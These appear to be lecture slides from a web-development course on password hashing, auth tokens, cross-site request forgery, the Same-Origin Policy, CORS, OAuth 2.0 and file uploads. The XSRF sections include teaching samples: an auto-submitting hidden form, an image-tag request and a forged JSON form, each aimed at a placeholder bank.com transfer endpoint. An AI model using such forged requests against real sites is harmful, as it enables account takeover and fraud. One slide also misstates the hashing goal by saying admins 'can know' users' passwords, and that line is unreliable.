  • Authentication
    • User claims to be a specific registered account holder
    • Supplies their username and password
      • They are claiming the be username and their proof is the password
    • Verify their identity using the password
    • If the password matches, log them into your app
      • Serve private content specific to them

Password Storage

  • You have a need to store each username and password in a database
  • This data must persist so users can log in even after a server restart
  • What if this database is compromised?
    • Perhaps by a SQL injection attack

Never Store Passwords as Plain Text

  • NEVER store passwords as plain text

  • We need to securely store passwords

  • Our goal: Store them in a way that even the admins of the app can know the passwords of their users

  • Solution: Hash the passwords and only store the hashes

Hash Function

  • A function that converts one value into another with certain properties
    • Typically a fixed length value
  • Used to build hash tables
    • Among other applications
  • Hash functions might not add any security!

Cryptographic Hash Function

  • A hash function that is meant for secure purposes
  • Goal of being a one-way function
    • Easy to compute a hash value from plain text
    • Very difficult to compute the plain text of a given hash
  • Hashes can be shared without compromising the plain text [With care]

Your password: "password"

Hashed password: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

Cryptographic Hash Function

  • Only a cryptographic hash of your password is stored in the database
  • By only storing the hash of a password:
    • Even the admins of a site can't read your password!
  • SHA256 is a commonly used cryptographic hash function

SHA256

  • Runs input through multiple rounds of bit-level manipulation
  • Designed to be VERY fast!
  • Very difficult to invert
  • We could just store a SHA256 hash of our passwords

Brute Force Attack

  • Storing SHA256 hashes is not always secure!
    • Surprisingly common misconception
  • Hashes are easy to compute, but hard to reverse
  • To attack a hash:
    • Hash every possible password
    • If the hashes match, you know the password
  • SHA256 is designed to be FAST!
    • This feature makes the attack more effective

Entropy

  • Entropy is a measure of uncertainty
    • Number of guesses required to guarantee a hash is matched
  • Examples:
    • If you know the plain text is a single lowercase letter the entropy is 26
    • If it's two lowercase letters, the entropy is 26^2 = 676
    • If it's two letters that can be upper or lower case, 52^2 = 2704
  • Tend to measure the "bits of entropy"
    • The log base 2 of these values
  • Typically consider >=80 bits of entropy to be secure

Dictionary Attack

  • More advanced version of the brute force attack
  • Use common words with common replacements
  • a -> @
  • O -> 0
  • i -> !
  • Real words are easier to remember
  • Attackers take advantage of this
  • Lists of common passwords are freely available
  • Start with these

Rainbow Table

  • A table containing the start and end of "chains" of hashes
  • Repeatedly rehash the start to reach the end
  • To attack a hash:
    • Rehash until you reach the end of a chain
    • Rehash the beginning of the chain to find the value before the hash
  • Takes a long time to compute a large table
  • Effectively trades space for time once the table is computed

Salting

  • Salt hashes to prevent attacks like rainbow tables
  • A salt is a randomly generated string that is stored in plain text with the hash
  • The salt is appended to the plain text before hashing
    • Nearly all hashes in the rainbow table will not use this salt
  • The salt does not add entropy since it is stored in the clear

Authentication

  • Registration
    • User provides username/password
    • Generate a random salt
    • Append the salt to the password and compute a secure hash of this value
    • Store the username/salt/hash in your database

Authentication

  • Authentication
    • User provides username/password
    • Lookup the salt/hash for the given username
    • Append the salt to the provided password and compute the SHA256 hash
    • If this hash matches the stored hash, the user is verified
    • If this hash does not match the stored hash, the user is not logged in

bcrypt

  • bcrypt is a hashing algorithm designed specifically for passwords
    • Much more secure for low-entropy inputs like human generated passwords
  • Designed to be SLOW!
    • Roughly 100ms per hash with default settings and a typical laptop
  • Build salting into the algorithm and output
  • Use a bcrypt library to compute and check hashes
  • Limited to 72 bytes of input (Truncates after 72)

Redirects

Redirects

  • To redirect the user to a different page:
    • Respond with a 300-level status code
    • Ex. Redirect HTTP requests to HTTPS requests
    • Ex. Respond with 301 Moved Permanently when the server is updated with new paths, redirect the old paths to the new paths instead of maintaining both
    • Ex. Response with 302 Found to redirect temporarily (Avoids browsers caching the new path)
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: /new-path

Redirects

  • A redirect response must contain a Location header
    • This is the path of the redirect
  • The client will make a second HTTP request for the Location path and load the page with the new response
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: /new-path

Redirects

  • If the Location is not a full url, it will be treated as a relative path
  • New request is made with the same protocol/host/port as the original request
  • Example:
    • First request was for "http://cse312.com:8080/old-path"
    • Second request is "http://cse312.com:8080/new-path"
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: /new-path

Redirects

  • If the location is a full url, the user can be redirected to a different server
  • Example:
    • First request was for "http://cse312.com:8080/old-path"
    • Second request is "https://google.com/"
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: https://google.com/

Redirects

  • Add a Content-Length of 0 since there are no bytes to read from the body
    • This is technically optional. The lack of a Content-Length header should imply a length of 0
    • However, this confuses Firefox.. so we'll add the header
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: /new-path

Further Reading

Authentication Tokens and Sessions

Turn an authentication system into a login system using authentication tokens

Authentication Tokens

Authentication Overview

  • Registration
    • User sends username and password
    • Validate password strength
    • Store bcrypt salted hash of the password
  • Authentication
    • User sends username/password
    • Retrieve the stored salt and salted hash for the username
    • Salt and hash the provided password
    • If both salted hashes are identical, the user is authenticated

Authentication

  • With authentication, we want users to be able to:
    • Access their private data
    • Make authenticated posts to the server
  • When you take these actions on a web app:
    • The app should verify that you made the request
    • Only serve your private data to you
    • Do not let anyone else make posts in your name

Authentication

  • How does the server verify that you are the one who made a specific request?
  • We only have authentication
  • Users would have to type their username and password with every single protected request
    • No! Terrible user experience
    • Some apps make authenticated requests every few seconds to load more content while users doom scroll
    • You would not use this app if you have to type your password constantly

Authentication

  • Insecure Idea: Store the username/password in cookies and send them on every request
    • Password is stored client-side in plain text
    • No! Never store passwords in plain text
      • Not even client-side! Don't do it.
      • Never trust your users, not even with their own security
    • Best case, increases attack surface area since the password is handled much more often in requests

Authentication Tokens

  • Instead of authenticating the username/password on every request:
    • Issue an authentication token
  • When a user is authenticated, generate a random authentication token
  • Store [a hash of] this token in your database and mark the username of the account that was authenticated
  • Set the token as a cookie for that user
  • Whenever a request comes with that token, treat them as the user associated with that token
    • By looking up the token in your database

Authentication Tokens

  • With authentication tokens:
    • We now have a login system! 🎉
  • As long as the user has the authentication token as their cookie, they are logged in
    • All their requests are authenticated by the server
  • You can/should set these tokens to expire
    • Expire client-side (cookie expiration)
    • Expire server-side (storing an expiration timestamp in your database and ignoring the token after that timestamp)
  • The token might expire in years, depending on your application

Authentication w/ Tokens

  • Once a token is generated, set it as a cookie
  • Now the token will be sent with all subsequent requests
  • Use the token to lookup the user
  • The possession of the token verifies that this user did authenticate in the past

Authentication w/ Tokens

  • Check each request for a cookie with a token
    • Lookup the hash of the token in the database
    • If the token is found, read the associated username
    • Proceed as though this request was made by that user
  • If the token is invalid or no cookie is set
    • Do not respect the request and return a 400-level response code:
      • 401 Unauthorized - User is not logged in
      • 403 Forbidden - User in logged in, but trying to do something that they are not allowed to do
  • Ensure all sensitive pages/features are secured this way!
    • The front end cannot be trusted (NEVER trust your users)
    • All checks must be performed server-side

Logging Out

  • When a user logs out:
    • Invalidate the token
      • This needs to done server-side
      • Remove the token from your database, or mark it as revoked
      • If you see a logged out token again, do not treat the request as authenticated
      • If a token is stolen, this allows the user to regain control of their account
    • Delete the cookie
      • Set it with an expiration date in the past, or max-age of 0
      • The browser should delete the cookie

Authentication Tokens

  • Authentication tokens need to be random and unguessable
    • The token must have enough entropy that they cannot be guessed by an attacker
    • Eg. An attacker should not be able to send requests with random tokens until one matches a logged in user
  • Generally, there should be at least 2^80 unique tokens that could be generated (80 bits of entropy)
    • More is better!
  • Since you are generating these tokens, and no human has to remember them, you can simply choose the entropy
    • Generate bytes of length 10?
      • You already have 80 bits of entropy
    • Why not generate length 50 and have 400 bits of entropy 🤷

Storing Authentication Tokens

  • (Caution: These tokens need to be stored on the server){.yellow}
  • These tokens are about as sensitive as passwords!
    • Stealing a token and setting a cookie with that value grants access to an account without even needing a password
  • Protection: Only store hashes of the tokens
  • Anyone with access to the database cannot hijack anyone's Sessions
  • With such high entropy, no known attacks can find the tokens given the hashes

Storing Authentication Tokens

  • Do not salt auth tokens
  • With arbitrarily high entropy, even rainbow tables are useless
    • Salting does not add any protection when attacks are already effectively impossible
  • Salting would make your job more difficult
    • You id a user based solely on their token
    • You don't know the salt for a user without looking up their account
    • You need to test all users in your database making every request O(n) where n is the number of registered users
  • brcrypt is made for passwords. Don't use it for tokens
    • SHA256 is preferred

Recall the SameSite Directive

  • SameSite
    • Determines when the cookie will be sent on 3rd party requests
    • Lax - Cookie only sent when navigating to your page -and- all 1st party requests
      • The default setting if SameSite is not set
    • Strict - The cookie is only sent on 1st party requests
      • ie. The cookie is only sent to your server when browsing your page
    • None - The cookie is always sent. Requires the Secure directive to also be set
  • Set-Cookie: id=X6kAwpgW29M; SameSite=Lax
  • Set-Cookie: id=X6kAwpgW29M; SameSite=Strict
  • Set-Cookie: id=X6kAwpgW29M; SameSite=None; Secure

SameSite Specifics

  • Auth tokens are typically lax, so we must understand the rules of when the token is sent
  • All 1st party requests contain lax cookies
    • As long as the site making the request is the same as the site that set the cookie, it will be sent
    • Here "site" means the protocol and host combination. Not the port
      • Example: A request from localhost:5000 to localhost:8080 is considered SameSite
  • A 3rd party requests contain lax cookies if it both:
    1. Is a GET request
    2. Navigates to your app
  • This is a major reason why GET requests should not change the state of your app
    • A GET request should only get information
    • Since the user is navigating to your app, an attacker cannot see the response

XSRF and the Same-Origin Policy

XSRF attacks, the Same-Origin Policy, and XSRF tokens

The Attack

Auth Tokens are Automatic

  • Recall: After you log in, your auth token is stored in a cookie
  • The browser attaches that cookie to every request sent to your server
    • No matter which page caused the request to be sent
    • The request is authenticated as you, even if you didn't choose to send it
  • Your browser has many tabs open to many different sites at once
    • Some you trust (Your bank, Autolab)
    • Some you shouldn't (Clicking a link in a shady email)

Cross-Site Request Forgery

  • Cross-Site Request Forgery (XSRF) - A malicious site causes your browser to send a request to another site
    • The browser attaches your cookies
    • The server sees an authenticated request from you and processes it
    • You never intended to send it
  • Used to transfer your money, make an Autolab submission, make a post/DM in your name, change your email address

XSRF - The Attack

The user logs in to bank.com. The server responds with Set-Cookie: auth_token=8f3a91c2, and the browser stores the cookie.

  • You log in to bank.com and get an auth token in a cookie

XSRF - The Attack

The user visits freemoney4you.com, maybe from a link in an email. freemoney4you.com responds with the attacker's HTML and JavaScript.

  • You click a link in an email: ALL YOUR DREAMS WILL COME TRUE!! JUST CLICK HERE!!!
  • Your browser loads the attacker's HTML/JavaScript

XSRF - The Attack

The attacker's page makes the browser send POST /transfer to bank.com with the body to=attacker&amount=10000. The browser attaches the user's bank.com auth cookie automatically.

  • The attacker's page sends a transfer request to bank.com, and your browser attaches your auth cookie
    • The attacker knows the format of the request. Anyone can read bank.com's front end

XSRF - The Attack

bank.com sees a valid auth token, treats the request as coming from the user, and completes the transfer. The attacker never saw the response but the damage is done.

  • bank.com sees a valid auth token and processes the request. Hacked!

Sending the Forged Request

<form id="attack" action="https://bank.com/transfer" method="post">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById("attack").submit();</script>
  • Navigation: A hidden form that submits itself as soon as the page loads. No click needed
  • Embed: Or an image tag, which sends a GET request
    • <img src="https://bank.com/transfer?to=attacker&amount=10000">
    • This is why images are often blocked in emails
  • Fetch: Or sends a fetch request
  • Will any of these work?
    • It depends on the browser and the Same-Origin Policy

The Same-Origin Policy

Same-Origin Policy

  • The Same-Origin Policy (SOP) is a set of rules enforced by every modern browser
  • Content from one origin cannot read content from a different origin
    • freemoney4you.com's JavaScript cannot read any response from bank.com
  • SOP sometimes blocks the entire request
  • The SOP only affects cross-origin requests
  • To understand the full rules, we first need to define "origin"

Origin

  • An origin is the combination of:
    • Protocol - http, https, ws, ftp
    • Host - cse312.com
    • Port - 443
  • Two URLs have the same origin if all three match exactly
  • The path is not part of the Origin
  • Origin is what the SOP checks

Site

  • A site is broader than an origin
  • Site = protocol + domain (Not host)
  • Ports and subdomains are ignored
    • https://api.cse312.com and https://cse312.com are the same site
    • https://autograder.cse.buffalo.edu and https://buffalo.edu are the same site
    • http://localhost:8080 and http://localhost:5000 are the same site
  • For local testing, you can use http://localhost:8080 and http://127.0.0.1:8080 which are different sites, but both reach your server
  • This is the definition of site used by the SameSite cookie directive

SOP Blocks All Reads

  • Navigation: Attacker sends a request that navigates the browser to another origin
    • The response replaces the page that sent the request
    • The page that sent the request never sees the response
  • Embeds: Embeds can be used, but not read [via JS. You can still read them in your console]
    • The page can display the image, run the script, and apply the styles
    • The page's JavaScript can't read the image's pixels or the script's source
  • Fetch: SOP might allow the request to be sent, but the response is always blocked
    • Attacker still sends the request, and the other origin will still send a response
    • The attackers JS is not allowed to read the response

The Request Still Arrives

  • Try it: From a page on one origin, fetch a URL on another origin
    • Console: Access to fetch at '...' from origin '...' blocked by CORS
    • Misleading error message: Devs often blame CORS for SOP behavior
  • Now check the Network tab and your server's logs
    • The request was sent
    • Your server processed it and sent a 200 response
    • The browser received the response and refused to give it to the JavaScript
  • The SOP protects the response. It does not protect your server

SOP Blocks Some Requests

  • If the request is still sent, can freemoney4you.com send bank.com:
    • A DELETE request?
    • A JSON body?
    • Any headers they want?
  • No! The browser splits cross-origin requests into 2 kinds:
    • Simple requests - Always sent. The SOP only blocks reading the response
    • Preflighted requests - The browser asks the server for permission before sending the request

Simple Requests

A cross-origin request is simple if all of these are true:

  • The method is GET, POST, or HEAD (A request for only headers)
  • Only sets "CORS-safelisted" headers
    • Accept, Accept-Language, Content-Language, Content-Type
  • The Content-Type, if set, is one of:
    • application/x-www-form-urlencoded
    • multipart/form-data
    • text/plain

Every other request is "to be preflighted"

Why These Rules?

  • Compatibility. Many sites rely on cross-origin simple requests
  • A simple request is a request that an HTML form could already send without any JavaScript
    • Forms could send these cross-origin long before AJAX and fetch existed
    • Blocking them in fetch wouldn't make anything safer so it's allowed. An attacker would simply use a form if it were not
  • Anything else (PUT, DELETE, a JSON body, a custom header) could not be sent cross-origin when the SOP rules were written
    • Servers were written assuming they would never receive these cross-origin
    • Easy to block these without breaking existing apps
    • Browsers won't send them without the server's permission

Preflight

  • Before sending a non-simple cross-origin request, the browser sends a preflight request
    • Method OPTIONS for the intended path
    • Asks the server whether the real request is allowed
  • If the server does not allow it, the real request is never sent
  • The server can allow the request by responding with various Access-Control-Allow headers
    • Access-Control-Allow-Method: PATCH
    • Access-Control-Allow-Origin: https://cse312.com
    • Would allow PATCH requests for the path from cse312.com
  • If any response is sent without these headers, the request is not allowed
    • For example, if you respond to the OPTIONS request with a 404

GET Requests Should Never Change State

  • GETs only get data. They should never change that data
  • Any page can send them: links, forms, redirects, image tags
    • If they are simple, the SOP allows the request
    • If they navigate to your page, SameSite cookies are sent
  • So GET /transfer?to=attacker&amount=10000 is exploitable even with all the protections built into modern browsers
    • Do not perform any sensitive actions with a GET request
  • A web crawler could even accidentally change the state of your server

XSRF Tokens

When the Browser Isn't Enough

  • The SOP and SameSite are enforced by the user's browser. We have limited control
    • An outdated or obscure browser might not implement them properly
    • A browser extension might disable them
    • Browsers disagree on the default SameSite value
  • They protect most users, but not 100%
  • We need protection on our server that works for every user, in every browser
    • Never trust your users, even with their own security

XSRF Tokens

  • The attacker can send requests, but they can't read your pages (SOP)
  • So, put a secret in your pages that the request must send back
  • On the server:
    • Generate a long random XSRF token when serving a page that can make state-changing requests
      • The attacker must not be able to guess the token (>=80 bits of entropy)
    • Store the XSRF token and associate it with the user who made the request
      • Identify the user by their auth token or session token
    • Embed this user's XSRF token in the page when you render it for them
  • On the front end:
    • The XSRF token is a hidden input on the form
    • The token is sent with the form submission

XSRF Tokens - In the Form

  • Add a new hidden input to your form for the token
  • Generate and inject the token as the value using HTML templates
  • Read the token from the request and verify it
<form action="/image-upload" id="image-form" method="post" enctype="multipart/form-data">
    <input type="hidden" name="xsrf_token" value="AQAAAjppCA8mhugn2UvwOTaKnVY">
    <label for="form-file">Image: </label>
    <input id="form-file" type="file" name="upload">
    <br/>
    <label for="image-form-name">Caption: </label>
    <input id="image-form-name" type="text" name="name">
    <input type="submit" value="Submit">
</form>

XSRF Tokens - In Fetch Requests

  • If you want to send a fetch request with a XSRF token
    • Use an HTML template to embed the token anywhere in the HTML
      • Preferably in a meta tag
    • Use JS to read the token
    • Add it as a custom header in your request
      • Or as part of the body (In a JSON field)

XSRF Tokens - Verifying

  • On every request that changes state:
    • Authenticate the user with their auth token, or session token if they are not logged in
    • Read the XSRF token from the request body
    • Verify that this XSRF token was issued to this user
  • If the XSRF token was issued to this user
    • Accept the request as valid
  • If the XSRF token is missing or was NOT issued to this user
    • This is an invalid request and might be an XSRF attack
    • Respond with 403 Forbidden

XSRF Tokens - The Attack Fails

  • Even if the browser attaches sends a request with auth tokens, the forged request can't contain the correct XSRF token
    • The SOP stops freemoney4you.com from reading your pages
    • This is why it's very important to embed the token in your page, not in a cookie
  • The server rejects the request
  • The attacker can get a valid XSRF token for their own account
    • But that token was not issued to you, so it's rejected too
  • This is server-side security (The only real form of security)
    • Works in every browser, with any SameSite setting

Further Reading

CORS and Other Web Attacks

CORS to loosen SOP, login XSRF

CORS

Cross-Origin Resource Sharing

  • The SOP is sometimes too restrictive
    • You host a public API that other sites call from their front ends
    • Your front end is at cse312.com and your API is at api.cse312.com (Different origins!)
  • Cross-Origin Resource Sharing (CORS) lets a server relax the SOP for its own responses
    • The server approves preflights, and marks which origins may read its responses
    • Uses Access-Control-Allow-* headers
  • CORS never makes anything more strict. It only allows things that the SOP would usually block

Preflight - Request

OPTIONS /api/posts/42 HTTP/1.1
Host: api.cse312.com
Origin: https://cse312.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type
  • Origin - The origin of the page that wants to send the request
  • Access-Control-Request-Method - The method of the real request
  • Access-Control-Request-Headers - The non-safelisted headers the real request will include
    • Content-Type is listed here since application/json is not one of the 3 simple types

Preflight - Response

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://cse312.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 600
  • Access-Control-Allow-Origin must match the requesting origin (or * to allow all origins)
  • The requested method and headers must be in the allowed lists
  • Access-Control-Max-Age - The browser can cache this approval for 600 seconds
  • The real response must also include Access-Control-Allow-Origin
    • Otherwise, the real request is sent, but JavaScript still can't read its response

Access-Control-Allow-Origin

  • Access-Control-Allow-Origin: https://cse312.com
    • JavaScript on https://cse312.com may read this response
    • Must be a full origin: protocol + host + port
    • Access-Control-Allow-Origin: cse312.com does not work
    • Only one origin is allowed in this header
  • Access-Control-Allow-Origin: *
    • JavaScript on any origin may read this response
    • Fine for truly public data (A public API, fonts, a CDN)
    • Do not use this as a hammer to get rid of your CORS errors!

Other Attacks

Login XSRF

  • Normal XSRF: Act as the victim on the victim's account
  • Login XSRF: Log the victim into the attacker's account
    • The attack page submits your login form with the attacker's username and password
    • The victim doesn't notice they're logged into someone else's account
    • Everything the victim does is saved to the attacker's account
      • Search history, uploaded files, a saved credit card number
    • The attacker logs in later and reads it all
  • Your login form needs XSRF protection too, even though the user has no authenticated session yet
    • Foreshadow: You'll see this again with OAuth and the state parameter

Forging JSON With a Form

<form action="https://bank.com/api/transfer" method="post" enctype="text/plain">
  <input type="hidden" name='{"to": "attacker", "amount": 10000, "x": "' value='"}'>
</form>
  • A text/plain form sends name=value with no encoding
  • The body of this request:
    • {"to": "attacker", "amount": 10000, "x": "="}
    • Valid JSON! And it's a simple request, so there's no preflight
  • If your server parses the body as JSON without checking for Content-Type: application/json
    • The attack works, even though your front end only sends JSON with fetch
  • Although this attack will not contain lax cookies, so it's not too threatening

XSS Defeats XSRF Defenses

  • Recall HTML injection (XSS): The attacker's JavaScript runs on your origin
  • JavaScript running on your origin can:
    • Read your pages, including the XSRF token
    • Send same-origin requests that include your cookies
  • Every XSRF defense assumes the attacker's code runs on a different origin
  • Always escape HTML in user-submitted content

Other Protections

Double-Submit Cookies

  • In practice, XSRF tokens are sometimes also stored in cookies
  • The server sets the XSRF token in a cookie (Not HttpOnly, so JavaScript can read it)
  • The server sends the same token in a form field or header
  • The server checks that the two values match. No need to store tokens on the server
  • The cookie might still be sent, but the attacker cannot read it so they can't add it to their forged form submission
    • The cookie is only where the token is stored, instead of in your database. The proof is the copy in the body or header

Re-Authentication

  • For the most sensitive actions, require the user's current password:
    • Changing their password or email address
    • Disabling two-factor authentication
  • The attacker doesn't know the password, so they can't forge the request
  • A confirmation step or CAPTCHA for high-value actions (eg. large transfers)
  • These hurt usability. Save them for the actions that matter most

Further Reading

OAuth 2.0

Motivation and explanation of OAuth 2.0

Third-Party APIs

Web APIs

  • Many apps have APIs that let programs access user data with HTTP requests
    • GET api.github.com/user - The logged-in user's profile
    • GET api.github.com/user/repos - Their repositories, including private ones
    • POST api.github.com/repos/<owner>/<repo>/issues - Create an issue
  • Sometimes, you want your app to use this API on behalf of your users
    • A scrum board app that creates GitHub issues when your users' create cards
    • A "Login with GitHub" button (Which you'll implement on HW2)
  • How can your users let your app access their GitHub accounts securely?

Bad Ideas: Ask for Their Password

  • Have your users give you their GitHub username and password
  • Never ask for a password to someone else's site
    • You'd have to store it in plain text to reuse it
    • Your app gets full access to their account. Not just what you need
    • The user can't revoke your access without changing their password
    • It trains users to type their passwords into random sites

Bad Idea: Ask for Their API Key

  • Have the user create an API key on GitHub and paste it into your app
  • Better than a password, but:
    • The user has to handle a secret. Never trust your users, not even with their own security
    • Requests from your app look exactly like requests from the user
      • No accountability. If your app misbehaves, GitHub can't tell it was you
      • If the key leaks, there's no way to tell who is using it
    • Your usage counts against the user's rate limits (Or bill!)

OAuth 2.0

  • OAuth 2.0 (Open Authorization) - The standard way for a user to grant an app limited access to their account on another service
  • The user approves your app on GitHub's site
    • Your app never sees their password
  • GitHub issues an access token directly to your app
    • The user never handles the access token
    • The token is tied to your app. GitHub knows it's you (Accountability)
    • The token is limited to the permissions (scopes) the user approved
    • The user can revoke your app's access at any time
  • The user still has to trust your app with the data they approve

Client Registration

  • Before any user can log in, you register your app with GitHub
    • You get/set at least 3 important values during registration
  • Client ID - Identifies your app. Public
  • Client Secret - Effectively a password for your app
    • Only ever stored on your server (In your .env file). Never in your front end or your git repo
  • Redirect URI - Where GitHub sends users after they approve your app
    • http://localhost:8080/authcallback on the HW
    • GitHub only redirects to the URI you registered

OAuth Flows

  • OAuth has several flows for different kinds of apps
  • We'll use the Authorization Code Flow
    • For apps with a server that can keep a secret
    • The most common flow

The Authorization Code Flow

The Authorization Code Flow

The full authorization code flow. 1: your app sends an authorization request to the user's browser. 2: the browser forwards it to GitHub. 3: GitHub sends an authorization grant back to the browser. 4: the browser delivers the grant to your app. 5: your app sends the code and its client secret to GitHub. 6: GitHub returns an access token. 7: your app makes an API request with the access token. 8: GitHub returns private data.

Steps 1-2: Authorization Request

Steps 1 and 2 highlighted: your app redirects the user's browser to GitHub with an authorization request.

Authorization Request

  • The user clicks "Login with GitHub," which sends a GET request to your server
  • Your server responds with a 302 redirect to GitHub's authorization endpoint:
    • The location of the redirect is a github url
    • This redirect is a cross-origin request!

Authorization Request - Parameters

  • Need to send several parameters in the query string of this redirect
  • client_id - Which app is asking
  • redirect_uri - Where to send the user back to
  • scope - A space-separated list of the permissions you're asking for
  • state - XSRF protection (More details later)
  • response_type=code - Required by the RFC to request a code (GitHub doesn't require it)
  • All values must be percent-encoded (Although none of these values should contain characters that need to be percent-encoded)

At GitHub

  • The browser follows the redirect to GitHub
  • GitHub authenticates the user
    • With their GitHub auth token cookie, or by asking them to log in
    • This is GitHub's job. Your app never sees any of it
  • GitHub shows the user your app's name and the scopes you asked for
    • The user chooses to approve or deny
    • If they already approved your app with these scopes, they skip straight to the redirect

Why Redirects?

  • In steps 1-4, your app and GitHub communicate through the user's browser
  • These requests need to have lax cookies attached
    • Must be GET requests that navigate to the other site
  • Need to send information in these requests
    • Use a cross-site redirect with a query string

Steps 3-4: Authorization Grant

Steps 3 and 4 highlighted: GitHub redirects the user's browser back to your app's redirect URI with an authorization code.

Authorization Grant

  • If the user approves, GitHub responds with a 302 redirect to your redirect URI
  • The redirect url will contain a code in a query string
    • It will also contain the state value (Discussed later)
  • This code is a one-time value that your server can trade for an access token
  • High entropy (The RFC requires at least 128 bits)
  • Short-lived (GitHub codes expire after 10 minutes)
  • Assume the code has been compromised
    • It traveled through the browser in a URL: history, logs, extensions
    • The user handled it (Should you trust them?)
  • So the code alone must not be enough to get an access token

Steps 5-6: Token Exchange

Steps 5 and 6 highlighted: your server sends the code and client secret directly to GitHub and receives an access token.

Token Exchange

  • Your server sends a request directly to GitHub (You can use libraries to send request to GitHub on your HW)
    • Since this is direct communication, we can use any HTTP method and format (Enter JSON)
  • You will "trade in" the code for an access token
  • GitHub must verify that it's really your app redeeming the code
  • Your app authenticates with its client secret
    • The RFC recommends HTTP Basic authentication:
      • Authorization: Basic base64(client_id:client_secret)
    • It also allows them in the body of the POST request
    • Never in the URL
  • APIs vary in these details. Read their documentation

Token Response

  • The access token went straight from GitHub to your server
    • It never touched the user's browser
    • The user does not know the value of this token
  • No need to trust the user!

Steps 7-8: API Access

Steps 7 and 8 highlighted: your server calls the GitHub API with the access token and receives the user's private data.

API Access

  • Send the access token in the Authorization header with type Bearer
    • "Bearer" - Whoever holds (bears) the token has access
  • Why not a cookie?
    • Your server is sending requests on behalf of many different users
    • Cookies are how browsers store tokens. A header is simpler for a server

Login With GitHub

  • You can now use the GitHub API to access the user's account information
    • Find a suitable unique id and use it to identify this user
  • First login: Create an account linked to their GitHub ID (No password)
  • Later logins: Find their existing account by GitHub ID
  • Then log them in exactly like a password login
    • Issue your own auth token in a cookie
    • Never use GitHub's access token as your auth token
  • If you're only using OAuth for login, no need to even store the access token
    • Requires a new access token for each login though (Tradeoff)

State

Recall: Login XSRF

  • Login XSRF: The attacker logs the victim into the attacker's account
  • Your /authcallback endpoint is a login endpoint!
  • The usual XSRF defenses don't help here:
    • /authcallback is designed to receive cross-site requests (A redirect from github.com)
    • It's a GET navigation, so SameSite=Lax cookies are sent
    • GitHub builds the request, not your front end. There's no chance to add a XSRF token

The Attack

  • The attacker starts "Login with GitHub" on your app using their own GitHub account
  • They stop before following the final redirect and keep the unused code
  • The attacker gets the victim to open a link to your callback with the attacker's code
  • To your app, this looks exactly like the end of a normal login
  • Your app redeems the code with its own client secret. Everything checks out
  • The victim is now logged in to the attacker's account!
    • Everything they save goes to an account the attacker controls

The State Parameter

  • Before redirecting to GitHub (Step 1):
    • Generate a random, unguessable state value
    • Bind it to this browser
    • Add it to the authorization request
  • GitHub sends the same state back with the code (Step 4)
  • At /authcallback:
    • Check that the state matches the one bound to this browser
    • If it's missing or doesn't match: 400 Bad Request and stop. Never redeem the code
    • Delete the state after checking. Each state is single use
  • The state is a XSRF token for your OAuth callback

Binding State to the Browser

  • The user usually isn't logged in yet, so there's no session to attach the state to
  • One approach: Store it in a cookie before the redirect
    • Set-Cookie: oauth_state=Xk3fR9...; HttpOnly; Max-Age=600; SameSite=Lax
    • At the callback, compare the query string state to the cookie
  • Attacker cannot set a cookie for our site
  • Attacker can't read this cookie since our site never redirects to the attack site
  • SOP will block responses so they can't fake a request and read the set-cookie header
  • You have some freedom in how you implement this on the HW, as long as it stops the attack

Refresh Tokens

Refresh Tokens

  • Many APIs make access tokens expire quickly (e.g. 1 hour)
  • Along with the access token, they issue a long-lived refresh token
  • When the access token expires, use the refresh token to obtain a new one:
    • You get a new access token (And sometimes a new refresh token)
  • The user doesn't have to do anything
  • Why not just have the access tokens be long-lived?
    • More secure when the auth server and resource server are not the same server
      • More on this much later when we discus JWTs

Further Reading

Multipart and File Uploads

Multipart form encoding, parsing file uploads as bytes, and safely hosting uploaded files

Multipart Forms

HTML Forms - POST

  • Last time we saw forms:
    • Submit the content of the form in the body of the POST request
POST /form-path HTTP/1.1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

commenter=Jesse&comment=Good+morning%21
<form action="/form-path" method="post">
    <label>Enter your name: <br/>
        <input type="text" name="commenter"><br/>
    </label>

    <label>Comment: <br/>
        <input type="text" name="comment"><br/>
    </label>

    <input type="submit" value="Submit">
</form>

HTML Forms - POST

  • You can specify the encoding type for form submissions
  • Default is url encoded (Special characters are % encoded)
POST /form-path HTTP/1.1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

commenter=Jesse&comment=Good+morning%21
<form action="/form-path" method="post" enctype="application/x-www-form-urlencoded">
    <label>Enter your name: <br/>
        <input type="text" name="commenter"><br/>
    </label>

    <label>Comment: <br/>
        <input type="text" name="comment"><br/>
    </label>

    <input type="submit" value="Submit">
</form>

HTML Forms - POST

  • url encoding cannot be used to upload files from a form!
    • The browser will only send the filename, not the contents of the file
  • We need something else for file uploads
POST /form-path HTTP/1.1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

commenter=Jesse&comment=Good+morning%21
<form action="/form-path" method="post" enctype="application/x-www-form-urlencoded">
    <label>Enter your name: <br/>
        <input type="text" name="commenter"><br/>
    </label>

    <label>Comment: <br/>
        <input type="text" name="comment"><br/>
    </label>

    <input type="submit" value="Submit">
</form>

HTML Forms - POST

  • Specify multipart encoding to receive each input separately in the body of the request
  • With multipart encoding, the browser will send the contents of files
<form action="/form-path" method="post" enctype="multipart/form-data">
    <label>Enter your name: <br/>
        <input type="text" name="commenter"><br/>
    </label>

    <label>Comment: <br/>
        <input type="text" name="comment"><br/>
    </label>

    <input type="submit" value="Submit">
</form>

HTML Forms - POST

  • Our server receives a multipart form request in this format
POST /form-path HTTP/1.1
Content-Length: 252
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfkz9sCA6fR3CAHN4

------WebKitFormBoundaryfkz9sCA6fR3CAHN4
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundaryfkz9sCA6fR3CAHN4
Content-Disposition: form-data; name="comment"

Good morning!
------WebKitFormBoundaryfkz9sCA6fR3CAHN4--

HTML Forms - POST

  • Content-Type specifies a string that separates each input
